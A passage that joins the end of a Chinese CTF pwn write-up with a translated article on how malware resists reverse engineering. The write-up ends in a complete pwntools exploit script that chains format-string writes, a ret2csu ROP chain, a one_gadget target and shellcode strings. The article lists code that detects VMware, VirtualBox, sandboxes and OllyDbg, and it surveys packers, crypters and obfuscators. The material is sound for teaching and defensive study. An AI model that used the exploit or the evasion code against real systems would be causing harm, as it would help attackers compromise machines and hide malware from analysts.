这个地方是exit在调用一系列函数(destructors)来释放资源。那为什么会这么巧？偏偏就有一个函数指针在栈上可以利用？我没有分析过exit源码，但是我推断是在程序初始化的过程当中ld.so利用到了这个指针，而且留在了栈上，在程序结束的时候又利用这个指针来进行相反的操作。关于库的链接的知识还有空缺，有时间一定补上。师傅们真是太强了，向师傅们致敬。
可以说上面这一步是一个关键的突破口，如果想不到这里，就做不出来了，想到了，之后的操作就顺水推舟了。
### 2.2 printf_loop
在劫持了程序执行流之后，就想着怎么拿shell了，首先就是要拿到任意写。
因为read(buf)读不到栈上，所以还是得利用栈上的数据。
当第一次控制了程序执行流之后，在printf处下断，看此时的栈情况：
可以观察到栈上有很多指针指向了栈本身，而且有些就在当前有效栈空间里。
这里利用了1和3。其中3本身指向了printf的返回地址，所以可以构造printf_loop。而1则是指向了当前有效栈空间，可以通过printf写来改变栈上的值使它指向任意想要的位置来实现栈上的任意写。
sleep(0.2)
payload4='%'+str(stack_tail)+'c%18$hhn'+'%'+str(0xa3-stack_tail)+'c%23$hhn'
sl(payload4)
sleep(0.1)
payload5='%13$n'+'%'+str(0xa3)+'c%23$hhn'
sl(payload5)
上面代码中的两步写操作结合起来就构成了任意写。
### 2.3 ROP
有了任意写之后，就要用ROP来getshell了。
可以看到程序空间里有_libc_csu，想到经典利用方法ret2csu中的利用技巧也许有用：
.text:0000000000400810 mov rdx, r13
.text:0000000000400813 mov rsi, r14
.text:0000000000400816 mov edi, r15d
.text:0000000000400819 call qword ptr [r12+rbx*8]
.text:000000000040081D add rbx, 1
.text:0000000000400821 cmp rbx, rbp
.text:0000000000400824 jnz short loc_400810
.text:0000000000400826
.text:0000000000400826 loc_400826: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400826 add rsp, 8
.text:000000000040082A pop rbx
.text:000000000040082B pop rbp
.text:000000000040082C pop r12
.text:000000000040082E pop r13
.text:0000000000400830 pop r14
.text:0000000000400832 pop r15
其实ret2csu也算是一个gadget，利用它可以控制的指针有：rdi,esi,rdx,rcx,rbx,rbp,r12,r13,r14,r15。但是光有这个gadget似乎拿不到shell。
这时候神奇的地方就出现了，在官方WP就介绍了一个神奇的gadget：
.text:00000000004006E8 adc [rbp+48h], edx
在这里把它的全部调用链列出来：
adc DWORD PTR [rbp+0x48],edx
mov ebp,esp
call 0x400660 <deregister_tm_clones>
mov eax,0x601017
push rbp
sub rax,0x601010
cmp rax,0xe
mov rbp,rsp
jbe 0x400690
pop rbp
ret
pop rbp
mov byte ptr [rip + 0x20094e], 1 <0x601048>
ret
其实调用链这么长实际起作用的就是：
adc DWORD PTR [rbp+0x48],edx
ret
而其中的edx和rbp都是可以控制的，所以我们就可以实现一次任意写。
可以看到程序空间里存在stderr,stdin,stdout，它们都指向libc，所以可以修改它们为one_gadget来getshell。
在关闭aslr的情况下stderr和one_gadget分别为：
stderr = 0x601040 #0x7ffff7dd2540
one= 0x7ffff7afe147#0x7ffff7a52216 0x7ffff7a5226a 0x7ffff7afd2a4 0x7ffff7afe147
计算偏移修改即可。
修改完之后再次利用ret2csu传stderr的地址给r12， **最后调用call qword ptr [r12+rbx*8]** 拿到shell。
附上完整exp ：
from pwn_debug import *
pdbg=pwn_debug("1")
pdbg.context.terminal=['tmux', 'splitw', '-h']
context.log_level='debug'
pdbg.local("")
pdbg.debug("2.23")
pdbg.remote('111.198.29.45',)
switch=1
if switch==1:
p=pdbg.run("local")
elif switch==2:
p=pdbg.run("debug")
elif switch==3:
p=pdbg.run("remote")
#----------------------------------------------------------------------------------------- s = lambda data :p.send(str(data)) #in case that data is an int
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
bp = lambda bkp :pdbg.bp(bkp)
#elf=pdbg.elf
#libc=pdbg.libc
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"
#https://www.exploit-db.com/shellcodes
#----------------------------------------------------------------------------------------- def pwn():
pop_rsp=0x40082d
ru('This is your gift: ')
stack=int(ru('n'),16)
#if stack&0xffff>0x2000:
# p.close()
print hex(stack)
payload1='%'+str(0x298)+'c'+'%26$hn'
payload1=payload1.ljust(16,'x00')+p64(0x4007A3)
sleep(0.1)
sl(payload1)
bp([0x4007c1])
sleep(0.1)
payload2='%'+str(0xa3)+'c%23$hhn'
sl(payload2)
input()
sleep(0.1)
stack_tail=(stack-280)&0xff
payload3='%'+str(0x48)+'c%18$hhn'+'%'+str(0xa3-0x48)+'c%23$hhn'
sleep(0.1)
sl(payload3)
#get arbitray write
sleep(0.2)
payload4='%'+str(stack_tail)+'c%18$hhn'+'%'+str(0xa3-stack_tail)+'c%23$hhn'
sl(payload4)
sleep(0.1)
payload5='%13$n'+'%'+str(0xa3)+'c%23$hhn'
sl(payload5)
sleep(0.2)
payload4='%'+str(stack_tail+4)+'c%18$hhn'+'%'+str(0xa3-stack_tail-4)+'c%23$hhn'
sl(payload4)
sleep(0.1)
payload5='%13$n'+'%'+str(0xa3)+'c%23$hhn'
sl(payload5) #clear up the first arg
sleep(0.2)
payload4='%'+str(stack_tail+4)+'c%18$hhn'+'%'+str(0xa3-stack_tail-4)+'c%23$hhn'
sl(payload4)
sleep(0.1)
payload5='%13$n'+'%'+str(0xa3)+'c%23$hhn'
sl(payload5)#clear up the first arg
sleep(0.2) #fake_heap=0x6010a0
payload4='%'+str(stack_tail)+'c%18$hhn'+'%'+str(0xa3-stack_tail)+'c%23$hhn'
sl(payload4)
sleep(0.1)
payload5='%'+str(0xa3)+'c%23$hhn'+'%'+str(0x10a0-0xa3)+'c%13$hn'
sl(payload5)
sleep(0.2) #fake_heap=0x6010a0
payload4='%'+str(stack_tail+2)+'c%18$hhn'+'%'+str(0xa3-stack_tail-2)+'c%23$hhn'
sl(payload4)
sleep(0.1)
payload5='%'+str(0x60)+'c%13$hhn'+'%'+str(0xa3-0x60)+'c%23$hhn'
sl(payload5)
# merge heap and ROP
prbp = 0x400690 #pop rbp;ret;
prsp = 0x40082d #pop rsp r13 r14 r15 ;ret
adc = 0x4006E8
'''
adc DWORD PTR [rbp+0x48],edx
mov ebp,esp
call 0x400660 <deregister_tm_clones>
pop rbp
mov byte ptr [rip + 0x20094e], 1 <0x601048>
ret
mov eax,0x601017
push rbp
sub rax,0x601010
cmp rax,0xe
mov rbp,rsp
jbe 0x400690
pop rbp
ret
'''
arsp = 0x0400848 #add rsp,0x8;ret
prbx = 0x40082A #pop rbx rbp r12 r13 r14 r15;ret
call = 0x400810 #mov rdx,r13
#mov rsi,r14
#mov edi,r15d
#call QWORD PTR [r12+rbx*8]
stderr = 0x601040 #0x7ffff7dd2540
one= 0x7ffff7afe147#0x7ffff7a52216 0x7ffff7a5226a 0x7ffff7afd2a4 0x7ffff7afe147
rop=0x6010a0
payload6 = p64(arsp)*3
# rbx rbp r12 r13 r14 r15
payload6 += flat(prbx,0,stderr-0x48,rop,0xFFD2BC07,0, 0, call)
payload6 += flat(adc,0,prbx,0,0,stderr,0,0,0,0x400819)
sleep(1)
payload5='%'+str(0x82d)+'c%23$hn'
payload5=payload5.ljust(0x40,'x00')+payload6
#bp([0x4007c1])
sl(payload5)
it()
if __name__=='__main__':
while 1:
try:
pwn()
except:
p.close()
p=pdbg.run("local")
## 3\. 补充
在看了[Kirin师傅的wp](https://www.jianshu.com/p/9fc6a4e98ecb)后觉得师傅的思路也非常好，这里记录一下。
前面思路相同，getshell的时候，调用puts在栈上留一个libc中的地址，改一字节得到syscall，再利用ret2csu控制rdi,rsi,rdx,利用read的返回值控制rax，最后调用syscall拿shell。
## 4\. 总结
这是一道非常好的题目，涉面广泛，感谢De1ta。这道题教会了我要充分的重视栈上的数据来达成利用，栈是所有函数调用都会使用到的结构，前面函数执行完之后多少会在栈上留下蛛丝马迹，充分利用它们，也许就能拿shell。再次感谢De1ta。 | 社区文章 |
# 【技术分享】反逆向工程——使恶意软件难以逆向的技术
|
##### 译文声明
本文是翻译文章，文章来源：pelock
原文地址：<https://www.pelock.com/articles/anti-reverse-engineering-malware-vs-antivirus-software>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**稿费：290RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
在攻防对抗的博弈中，恶意软件的作者总是想方设法阻止反病毒公司、安全研究人员对其编写的恶意软件进行检测、分析.在对抗中，技术的进步螺旋式上升，那么编写恶意软件的人都采用了哪些技术来对抗分析？这些技术又是如何发展的？反病毒公司如何应对这种挑战？作者
Bartosz Wójcik 给出了自己的观察。
[逆向工程](https://www.pelock.com/services)是指不访问其源代码来分析已编译好的程序的方法。
在这篇文章中，我想说明这是使用恶意软件的编写者阻碍病毒和其他恶意软件分析的方法，我也会解释反病毒公司和反病毒软件是怎么处理的。
为了使反病毒公司的分析变得困难，首先你需要知道反病毒公司是如何在实验室中分析恶意软件的。最常用的方法如下：
在虚拟环境中测试恶意软件
在沙盒和模拟其中测试恶意软件
监控恶意软件对系统所做的更改
静态分析
动态分析
生成恶意软件的签名
同时，在用户计算机上运行的反病毒软件可以执行以下检查来帮助判断这个恶意程序的实际意图：
文件和片段的校验和（例如
[MD5](https://en.wikipedia.org/wiki/MD5)、[SHA1](https://en.wikipedia.org/wiki/SHA-1)、[SHA2](https://en.wikipedia.org/wiki/SHA-2)、[CRC32](https://en.wikipedia.org/wiki/Cyclic_redundancy_check)）
不寻常的文件结构
文件中不寻常的值
文件片段的签名（启发式扫描）
字符串常量
应用程序的行为，被称为行为分析（监控访问系统文件、注册表等）
函数调用（调用哪些函数、提供了什么参数，调用顺序）
实验室和反病毒软件都是这么做的，这中间的每一步，都可能遇到专门设计好来阻止或减慢分析的障碍。
**检测虚拟机**
99％的情况下，恶意软件会被放在虚拟机中进行测试，例如VMware， VirtualBox，Virtual PC，Parallels
等。这是为了保护分析师自己的机器免受感染，这也是时有发生的！ 在2011年，由于反病毒公司 ESET 一个雇员的错误，众所周知的（昂贵的）分析软件 IDA
被盗。
通常在反病毒实验室中，恶意软件存储在没有执行权限的文件夹中，特别要防止感染文件或恶意文件的意外执行。虚拟机的使用也允许了额外工具的使用，例如比较感染后的系统映像和感染前的系统映像的区别，哪怕是对系统文件、注册表、其他系统组件极其微小的改变，都可以轻易发现。
运行在虚拟机中的恶意软件的网络流量可以被准确地跟踪（通过网络嗅探器，比如
[Wireshark](https://www.wireshark.org/)），这可以证明恶意软件将会和该恶意程序所属的僵尸网络的控制服务进行通信。
由于这些原因，恶意软件的作者通常希望阻止恶意软件在虚拟机中运行，但是为了做到这一点，恶意软件必须检测到它在虚拟环境中运行了。虚拟机永远不能和真实计算机一样，因此它们具有那些“给予它们”的特性，例如：
具有仅在虚拟机中会存在的特定名称的虚拟硬件设备
对真实机器不完全、有限的仿真（[IDT](https://en.wikipedia.org/wiki/Interrupt_descriptor_table)
和 [GDT](https://en.wikipedia.org/wiki/Global_Descriptor_Table) 表）
含糊不清、没有文档记录的 API 在与主机层通信（Virtual PC 使用汇编指令 cmpxchg8b eax
这种魔法一般处理寄存器的方式，就可以确定它的存在）
附加的实用工具，比如 VMware
Tools，他们的存在可以通过特定系统对象的名字得知（[互斥体](https://msdn.microsoft.com/en-us/library/windows/desktop/ms686927%28v=vs.85%29.aspx)、[事件](https://msdn.microsoft.com/en-us/library/windows/desktop/ms682655%28v=vs.85%29.aspx)、类名、窗口名称等）
**清单1-使用 API 接口确定 VWware 环境**
BOOL IsVMware()
{
BOOL bDetected = FALSE;
__try
{
// check for the presence of VMware
__asm
{
mov ecx,0Ah
mov eax,'VMXh'
mov dx,'VX'
in eax,dx
cmp ebx,'VMXh'
sete al
movzx eax,al
mov bDetected,eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
// if an exception occurs
// return FALSE
return FALSE;
}
return bDetected;
}
**清单2-通过 Windows 注册表判断虚拟环境**
BOOL IsVM()
{
HKEY hKey;
int i;
char szBuffer[64];
char *szProducts[] = { "*VMWARE*", "*VBOX*", "*VIRTUAL*" };
DWORD dwSize = sizeof(szBuffer) - 1;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\ControlSet001\Services\Disk\Enum", 0, KEY_READ, &hKey) == ERROR_SUCCESS)
{
if (RegQueryValueEx(hKey, "0", NULL, NULL, (unsigned char *)szBuffer, &dwSize ) == ERROR_SUCCESS)
{
for (i = 0; i < _countof(szProducts); i++)
{
if (strstr(szBuffer, szProduct[i]))
{
RegCloseKey(hKey);
return TRUE;
}
}
}
RegCloseKey(hKey);
}
return FALSE;
}
**清单3-检测 Virutal PC**
sub eax,eax ; prepare magic values
sub edx,edx ; in registers
sub ebx,ebx
sub ecx,ecx
db 0Fh, 0C7h, 0C8h ; 'cmpxchg8b eax' instruction
; if Virtual PC is present, after performing cmpxchg8b eax
; register EAX = 1 and there will be no exception
; otherwise an exception will occur
**清单4-检测 VirutalBox**
BOOL IsVirtualBox()
{
BOOL bDetected = FALSE;
// is the VirtualBox helper library
// installed in the system?
if (LoadLibrary("VBoxHook.dll") != NULL)
{
bDetected = TRUE;
}
// is the VirtualBox support device
// installed in the system?
if (CreateFile("\\.\VBoxMiniRdrDN", GENERIC_READ,
FILE_SHARE_READ, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL)
!= INVALID_HANDLE_VALUE)
{
bDetected = TRUE;
}
return bDetected;
}
讽刺的是，如果有检测虚拟环境存在的功能会提醒分析师这很可能就是一个恶意程序，他正在试图避免在一个安全的环境内被分析。不过，这种函数通常也被版权保护和内容保护软件使用。例如，现在常见的多媒体平台
Ipla.tv
在检测到正在虚拟环境中执行时拒绝播放节目。出于兴趣，我查看了一下这个播放器使用的库文件，不过在调试器的帮助下，禁用这个负责检测虚拟环境的功能是很容易的。
一些软件发布商也阻止他们的应用程序在虚拟机中运行，这是一个非常实际的原因——盗版。他们将软件的运行限定在某台机器上（例如通过机器硬件配置文件生成许可证密钥）。当软件安装在虚拟机中时，可以很容易的将虚拟机映像复制到所需要的多个物理计算机上，并且这些计算机都会拥有相同的硬件配置文件，从而允许软件在多台计算机中运行了。
**沙盒**
沙盒就是一个和外部世界独立的安全环境，你可以在其中运行恶意程序并监视它们的活动。沙盒可以作为和主机系统相互独立地存在。最知名的是：
[Cuckoo Sandbox](http://www.cuckoosandbox.org/)
[Anubis Sandbox](http://anubis.iseclab.org/)
[Norman Sandbox](http://www.norman.com/)
[Joe Sandbox](http://www.joesecurity.org/)
[VIPRE ThreatAnalyzer](http://www.threattracksecurity.com/resources/sandbox-malware-analysis.aspx)
[Buster Sandbox Analyzer](http://bsa.isoftware.nl/)
这些都是可以运行任何软件的虚拟环境，由于内置了监视工具，它们可以提供软件在启动后对系统所做更改的详细日志。通常他们基于仿真的 Windows
环境中，而且你可以很容易地检测到它们这些特性。在地下论坛上，你可以很容易的看到这种例子：
**清单5-检测 Norman 沙盒**
; load the address of the function DecodePointer(), which
; in a Norman Sandbox environment contains
; a different list of instructions
; to a real Windows system
; DecodePointer:
;.7C80644E| C8 00 00 00 enter 0,0
;.7C806452: 8B 45 08 mov eax,[ebp][18]
;.7C806455: 0F C8 bswap eax
;.7C806457: C9 leave
;.7C806458: C2 04 00 retn 4
; load the address of DecodePointer
mov eax,DecodePointer
test eax,eax
je _not_detected
; verify the byte signature
cmp dword ptr[eax],000000C8h
jne _not_detected
cmp dword ptr[eax+4],0F08458Bh
jne _not_detected
cmp dword ptr[eax+8],04C2C9C8h
jne _not_detected
; the presence of the Norman Sandbox environment has been detected
; terminate the application
push 0
call ExitProcess
; continue the application
_not_detected:
清单中的沙盒原来大多数都是免费的，随着几个商业化后，只有少数几个继续免费，如 Anubis 沙盒。
沙盒不需要模拟完整的系统，将沙盒集成到反病毒软件中，或者像 [Sandboxie](http://www.sandboxie.com/)
这种特定应用程序的沙盒正在变得越来越受欢迎。它们允许在安全的操作环境中执行任何应用程序，以保护敏感的系统组件受到修改。
Sandboxie
不会将修改写入磁盘，也不会修改任何系统文件，只会产生分析时便于使用的外部文件。这种系统的运行依赖于系统底层的钩子（重写底层操作系统函数）以及使用额外的驱动程序、控制应用程序的行为。你可能已经猜到了，这些机制可以被恶意软件作者用来检测沙盒工具。
**清单6-检测 Sandboxie 环境**
BOOL IsSandboxie()
{
// check if the Sandboxie helper library
// is loaded in our process
if (GetModuleHandle("SbieDll.dll") != NULL)
{
return TRUE;
}
return FALSE;
}
**
**
**阻止代码分析**
使用像 IDA 反汇编器和 HexRays
反编译器来分析可疑文件是业界通用的惯例。这些工具允许对编译好的程序进行汇编级别的分析，如果可能还可以还原成更高级别的语言。
为了让这些程序执行静态分析，就必须访问未加密的可执行文件，恶意软件的作者可以基于此来让分析变得困难，甚至不可能，致使分析师必须在分析前做额外的工作。
**加密**
加密是最基本的手段，用来加密整个可执行文件。这些加密工具都有同一个目的，防止恶意软件被反病毒程序检测。这些加密工具在地下论坛中卖数十美元，并且每个客户会使用唯一的副本以避免被先用的反病毒程序的签名数据库检测到。
加密工具的基础是：
加密整个可执行程序
将其附加到一个装载程序中，作为一个嵌入的资源，或者放在在文件的结尾（也就是所谓的叠加）
运行一个以这种方式准备好的程序后，可能发生两种情况，取决于恶意软件作者怎么做：简单情况下，文件被解密，解包到临时目录，并且从此处运行。更高级的做法是加载程序的代码段和数据段被取消内存映射，用解密后的可执行文件替换，之后开始运行。
**加壳**
UPX, FSG, MEW, ASpack, and
[.netshrink](https://www.pelock.com/products/netshrink)
这些壳都可以被用于减少可执行文件的大小。它们通常在可执行文件中插入一段结构，将一种压缩算法放在里面，制作一个装载程序。装载程序通常很小，常常用汇编语言编写。当这样一个打包好的程序运行时，由装载程序控制解压缩代码和数据、恢复可执行程序的文件结构，例如从导入表加载函数。然后从没打包时的原始程序入口点开始执行代码。
这种压缩不会对真正的代码分析造成任何困难，它唯一能实现的事情就是在反病毒程序的潜在签名被改变了。现在可以自动脱壳大多数流行的加壳程序，无论是专用的脱壳模块还是通过仿真使用，并可以分析原始文件中的签名。
**压缩**
虽然加壳只能有助于减少可执行文件的大小，但是其受欢迎程度已经导致那些想使用加壳程序的人，还想让程序具有更难得到原始可执行代码的优势。因此混淆出现了，它们可以“争先恐后”地操作已经压缩好的程序，比如它们可能会更改节的名称、添加新的代码，然后启动解压缩程序。例如UPX-SCRAMBLER 和 UPolyX 以及非常流行的 UPX 压缩壳。
**综合保护**
演变的下一个阶段就是像 [PELock](https://www.pelock.com/products/pelock), ASProtect,
ExeCryptor 和 Armadillo
这种保护器。它们不仅能压缩可执行程序，还能添加代码来检测调试工具的存在，并且破坏或隐藏可执行程序的真实结构，使得恢复原始可执行程序的内容更加困难。保护器的一个重要部分是它们内置的强大加密算法，像
ECC（椭圆曲线加密）或 [RSA](https://en.wikipedia.org/wiki/RSA_%28cryptosystem%29) 加密。
通常对特定区域进行加密，这段区域以特殊标记指明。当程序运行，指定标记间区域的代码在没有正确的许可密钥时无法被解密，甚至直到其需要运行前仍然是加密的。运行时被暂时解密，一旦运行完毕就会返回加密状态。
**清单7-在 PELock 中使用加密标志的例子**
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include "pelock.h"
int main(int argc, char *argv[])
{
// code between the markers DEMO_START and DEMO_END
// will be encrypted in the protected file
// and will not be accessible (or executed) without
// the correct licence key
DEMO_START
printf("Welcome to the full version of my application!");
DEMO_END
printf("nnPress any key to continue...");
getch();
return 0;
}
这种程度的复杂保护对于破解者是一个现实的问题。虽然这对于软件作者来说一般是好的，但是这使得病毒分析师难以生存，因为这允许了恶意软件作者使用高级加密技术，这使恶意程序的行为分析特别困难。在这种系统中，你经常会发现[多态的加密算法](https://www.pelock.com/pl/artykuly/polimorficzne-algorytmy-szyfrowania)（受保护的程序每次都重新生成唯一的加密算法）、代码突变（一系列的程序集替换，这些替换更加复杂但是等效）、代码虚拟化（原生代码被字节码替换），随着将反调试招数都整合在一起，我们已经很难对其代码进行分析、了解它们是如何工作的了。
保护的措施有：
重定向导入表-混淆使用的函数的真实地址-更难从受保护的程序中重建导入表
将文件的映像重定位到内存中的随机区域-阻止其从内存中直接将解密后的程序 dump 下来
检测调试和系统监控工具
以发现代码更改为目的主动监控引用程序代码
检测虚拟环境和沙盒
检测仿真器
通过模拟某些用来访问功能的函数来隐藏资源等结构
结合许多应用程序文件和库到一个可执行程序中，并且使用函数访问钩子来模拟存在
**虚拟化**
CodeVirtualizer 和 VMProtect
都是以上技术的接班人，这些工具可以让应用程序的原生代码与字节码进行替换，以这种方式保护的应用程序必须配备有执行字节码的虚拟机。
分析那些已经替换过的字节码是非常困难的，因为他们不能直接被 IDA 和 OllyDbg
这种标准工具进行分析，这些工具不能得到中间代码的格式。更高级的虚拟机能够在每次保护可执行文件时生成唯一的字节码，从而进一步使分析受保护的应用程序变得更加复杂。
在这些情况下，必须编写特殊的模块来将中间代码转换成 x86
代码。这是一个艰苦而又耗时的任务，而且上面提到的全部保护措施都可以与虚拟化结合起来，让分析变得更加不可能。
**混淆**
[混淆](https://www.pelock.com/products/autoit-obfuscator)的目的是让编译好的应用程序或者源代码都尽量变得不可能分析。
混淆大多数用在那些被编译成字节码的应用程序中，比如 Java 和 .NET 应用程序，也有像 Pythia 这种为 Delphi
应用程序开发的混淆器。但是这些工具大多数都用于 .NET 应用程序。用 Visual Basic
编写的程序可以多达六个版本，从原生的指令到需要额外库和虚拟运行时的字节码。而 Visual Basic
的规格是不公开的，分析其应用程序是有挑战性的。然而，通过试错，创建了一些非官方工具来对这样的应用程序进行反编译。
随着 C# 和 VB.NET 的出现，微软发布了虚拟机的规范。原来反编译这样程序的字节码是如此简单！知名的工具像 .NET Reflector
的出现，可以实现应用程序到源码的一键转换。这让软件作者很是头疼，没过多久，市场就出现了几十个工具，这些工具都能对 .NET
应用程序中的字节码（中间语言）进行混淆。这些混淆器一般都采用了如下技术：
修改指令序列执行顺序（从线性到无条件跳转的非线性）
.NET 代码的动态加密
加密 .NET 应用程序的资源
加密字符串值
编译好代码的额外虚拟化层
.NET 应用程序文件结构的蓄意破坏
现在存在的大量保护程序，大多采用类似的保护机制。混淆工具的泛滥导致许多去混淆工具的产生，以 2011 年 de4dot 的产生为终点，这是一个通用的
.NET 应用程序通用去混淆工具。它可以去除超过二十种最流行的混淆方案，像 SmartAssembly、.NET
Reactor、Dotfuscator、Eazfuscator 和许多其他的方案，这是给软件安全行业一记响亮的耳光， de4dot
不断开发和维护以支持最新的软件保护方案。
有趣的是，混淆器的价格要远比那些保护原生应用程序的软件要贵，在 .NET 平台上，复杂的 EXE
保护方案和代码虚拟化可以取得比混淆器更好的效果，最好的例子就是前面提到的 de4dot，仅此一点就可以扭转应用在 .NET
应用程序上的诸多保护措施。但是对于原生应用程序就没有如此通用的工具存在。
**利益冲突**
计算机程序保护的问题在保护系统提供商和反病毒公司之间已经成为了一种巨大的问题：合法的版权保护措施会被反病毒软件报告为病毒。保护系统的作者会因此失去他们的潜在客户，而看似反病毒公司和保护系统的斗争其实是与恶意程序的斗争。[IEEE](http://standards.ieee.org/)
协会试图规范保护系统制造者和反病毒公司之间的信息交流。该系统被称为
TAGGANT，将需要进行商业保护系统保护的每一个文件进行标记，并带有购买人或者公司的签名。有这样标记的文件将不再被反病毒程序标记为病毒，如果合法的保护方案被以某种方式应用在保护恶意程序中（例如恶意软件作者使用被盗的信用卡详细信息来购买保护方案），客户的签名就会被公开放在黑名单中，并且和该用户签名相关的所有文件都会被标记为潜在的恶意程序。
**调试器检测**
如果恶意程序较为复杂，像 IDA（反汇编）或
HexRays（反编译）此类的代码静态分析工具不能提供分析师判断恶意程序做了什么的信息，下一个分析师可以用的工具是调试器 – 允许逐步跟踪程序执行的工具。
其中最流行的调试工具：内置于商业 IDA 反汇编器（32位和64位支持）的调试器，免费的 WinDbg，以及免费的（据我所知最流行的调试器）OllyDbg
，它允许在用户态下跟踪应用程序（OllyDbg 的的一个缺点是，它被限制为32位应用程序）。
OllyDbg
的流行产生了一系列应对反调试器功能的改进和扩展，这些让各种应用程序的分析都变得容易。比如引入一种脚本语言，它可以自动完成调试器能做的工作，这让自动化脱所有已知种类的壳变得非常轻松。
另一方面，又有很多种方法可以检测这个调试器，并且恶意软件的作者都很愿意使用它们，因为这样会使得他们的代码更加难以分析。
**清单8-检测 OllyDby（作者**[ **Walied Assar**](http://waleedassar.blogspot.com/)
**）**
int __cdecl Hhandler(EXCEPTION_RECORD* pRec,void*,unsigned char* pContext,void*)
{
if (pRec->ExceptionCode==EXCEPTION_BREAKPOINT)
{
(*(unsigned long*)(pContext+0xB8))++;
MessageBox(0,"Expected","waliedassar",0);
ExitProcess(0);
}
return ExceptionContinueSearch;
}
void main()
{
__asm
{
push offset Hhandler
push dword ptr fs:[0]
mov dword ptr fs:[0],esp
}
RaiseException(EXCEPTION_BREAKPOINT,0,1,0);
__asm
{
pop dword ptr fs:[0]
pop eax
}
MessageBox(0,"OllyDbg Detected","waliedassar",0);
}
几年前，有一个著名的调试器叫做 SoftICE，它是一个系统调试器（它可以跟踪用户模式的应用程序和系统驱动程序）。现在它已经被 WinDbg
取代了，虽然已经坚持了很多年的开发和升级。系统调试器（或者说内核模式调试器）可以在应用程序使用系统驱动时调用。比如一个
Rootkit，它主要的目的就是把负载埋进操作系统中（通常以用户模式开始），以此来隐蔽恶意软件的进程、对文件系统结构的破坏、隐藏网络通信。
**迭代更新**
你可以使用非常多的方法来检测恶意软件，无论是校验和、文件片段、特征字符串、函数调用顺序、使用非常用函数、行为分析、高级签名等。这些特性会引导反病毒软件将其分为恶意还是正常。
这样是建立在假设恶意软件每次都表现出相同的特征的基础上的，修改这些特征中的某一部分就可以逃避检测，在不修改恶意软件源代码的情况下，怎么可以达到这种效果呢？
更换编译器
对编译选项的更改（比如打开或者关闭优化或者更改默认调用约定）会立即更改输出文件的结构
频繁更新和编译选项的更改相结合，将会导致在二进制级别上完全不同的生成文件，但他们可以表现出相同的功能
**函数替换**
俗话说：“条条大路通罗马”。在编写恶意软件时，有很多方法可以达到相同的效果。例如，为了获取对文件的访问，可以有很多 Windows
系统函数和附加库函数使用。
还有其他几十个库也提供类似的功能，可以用作替代品。
**清单9-几种读文件的方式**
#include <windows.h>
#include <stdio.h>
// mode used to open a file
#define FILE_MODE 3
int main()
{
#if FILE_MODE == 1
HANDLE hFile = CreateFileA("notepad.exe", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
#elif FILE_MODE == 2
HANDLE hFile = CreateFileW(L"notepad.exe", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
#elif FILE_MODE == 3
FILE *hFile = fopen("notepad.exe", "rb+");
#else
//...
#endif
// close file handle
#if FILE_MODE < 3
CloseHandle(hFile);
#else
fclose(hFile);
#endif
return 0;
}
在特定函数被使用的时候，也许会被标记为“危险”，但是这种方式仍然创造了全新的代码结构，可以帮助恶意软件逃避检测。
**脚本代替程序**
某些任务可以由脚本语言，像 VBScript 或者 JScript，来执行，避开调用系统函数。恶意软件有时候也会包含脚本语言的解释器，比如 Flame 中的
Lua、[IronPython](http://ironpython.net/) 中的 Python、甚至是
PHP。一旦源代码被隔离，分析脚本总好过分析编译好的程序，但是恶意软件作者可选择的大量不同的语言为病毒分析师和反病毒公司造成了巨大困扰。
**模块化设计**
恶意软件并不总是立即安装在感染主机上，通常来说感染模块的规模相当小，感染后会连接到控制服务器来下载附加模块。此设计还帮助恶意软件作者可以轻松地添加新功能或修复
Bug。对于分析师来说，当恶意软件都在一个程序中时，事情反而变得容易了。当恶意软件分裂成不同的模块时，分析会变慢，特别是用不用的语言编写的不同模块，并且每个模块都是用不同的措施来进行保护。
**
**
**小众语言**
恶意软件往往会使用流行的语言来编写，在我看来这是因为：一、这种软件可以在许多版本的 Windows
上不需要其他系统组件就运行；二、有大量的教程和与其语言相关的源码实例，即使是新手也可以很容易的创建恶意程序。
某些恶意软件作者更加高明，意识到使用流行的语言将会使他们开发的程序易于分析，这些语言都有现成的工具可以使用。病毒分析师每天都要处理这些流行的语言，他们配备并熟练使用相关工具，把这些程序分解成基本模块易如反掌。
另一方面，用小众语言编写的程序例如函数式语言或者面向业务型语言，对分析师来说是个巨大的挑战。比如：
Haskell
Lisp
VisualFox Pro
Fortran
COBOL
非标准的 Visual Basic 编译器(像
[DarkBasic](http://www.thegamecreators.com/?m=view_product&id=2030)、[PureBasic](http://www.purebasic.com/))
这样的程序通常有着相当复杂的结构，在许多情况下，他们的整个代码以一种字节码的形式存在，或者是需要分析许多额外的库、都不用提有多耗时。也有一些为这些小众的语言编写的反编译工具，比如
VisualFox Pro 应用程序反编译可以使用 ReFox，但是这样的工具在这个领域内是极其罕见的，因为需求太少了。
著名的 Stuxnet 病毒是利用 C 语言和一个不起眼的面向对象框架写成的，分析师花了很长时间才搞清楚，它是用什么写成的，为什么有如此不寻常的结构。
在这篇文章的末尾，你可以找到一个 Crackme，是用 Haskell
语言写成的，尽管这只是一个简单用来检查许可证密钥有效性的算法，但是分析起来仍然特别困难。
**自动化软件**
